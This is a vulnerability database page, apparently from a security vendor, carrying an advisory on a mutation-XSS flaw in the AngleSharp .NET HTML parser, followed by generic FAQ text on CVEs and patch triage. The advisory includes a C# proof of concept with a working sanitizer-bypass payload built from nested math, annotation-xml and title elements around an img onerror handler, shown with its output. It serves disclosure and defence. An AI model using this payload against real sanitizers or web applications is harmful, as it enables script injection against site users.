Vulnerability Database

359,603

Total vulnerabilities in the database

CVE-2026-54570 — AngleSharp

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

  • Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
  • Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set : base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes &amp; &quot; and \u00A0, but NOT &lt; or &gt; case Symbols.Ampersand: stringBuilder.Append(&quot;&amp;amp;&quot;); break; case Symbols.NoBreakSpace: stringBuilder.Append(&quot;&amp;nbsp;&quot;); break; case Symbols.DoubleQuote: stringBuilder.Append(&quot;&amp;quot;&quot;); break; default: stringBuilder.Append(value[i]); break; // &lt; and &gt; pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected &lt;img&gt; element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live &lt;img onerror&gt; trigger.

using System; using System.Linq; using AngleSharp.Html.Parser; public class Program { static readonly string Payload1 = &quot;&lt;math&gt;&quot; + &quot;&lt;annotation-xml encoding=\&quot;text/html\&quot;&gt;&quot; + &quot;&lt;title&gt;&lt;a encoding=\&quot;&lt;/title&gt;&lt;img src=x onerror=alert()&gt;\&quot;&gt;&quot; + &quot;&lt;/annotation-xml&gt;&lt;/math&gt;&quot;; public static void Main() { var parser = new HtmlParser(); Check(parser, Payload1, &quot;IMG&quot;, &quot;AngleSharp missed &lt;img&gt; – VULNERABLE (mXSS via attribute serialization)&quot;, &quot;AngleSharp found &lt;img&gt; – SAFE&quot;); } static void Check(HtmlParser parser, string html, string tag, string failMsg, string passMsg) { var doc = parser.ParseDocument(html); var tags = doc.All.Select(e =&gt; e.TagName).ToHashSet(); var found = tags.Contains(tag); Console.WriteLine(found ? passMsg : failMsg); Console.WriteLine(&quot;Serialized output:&quot;); Console.WriteLine(doc.DocumentElement.OuterHtml); } }

Output:

AngleSharp missed &lt;img&gt; – VULNERABLE (mXSS via attribute serialization) Serialized output: &lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;math&gt;&lt;annotation-xml encoding=&quot;text/html&quot;&gt;&lt;title&gt;&lt;a encoding=&quot;&lt;/title&gt;&lt;img src=x onerror=alert()&gt;&quot;&gt;&lt;/a&gt;&lt;/title&gt;&lt;/annotation-xml&gt;&lt;/math&gt;&lt;/body&gt;&lt;/html&gt;

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding=&quot;text/html&quot; as an HTML integration point, the &lt;/title&gt; closes the title element and the &lt;img&gt; fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

CVSS v3:

  • Severity: Medium
  • Score: 6.9
  • AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.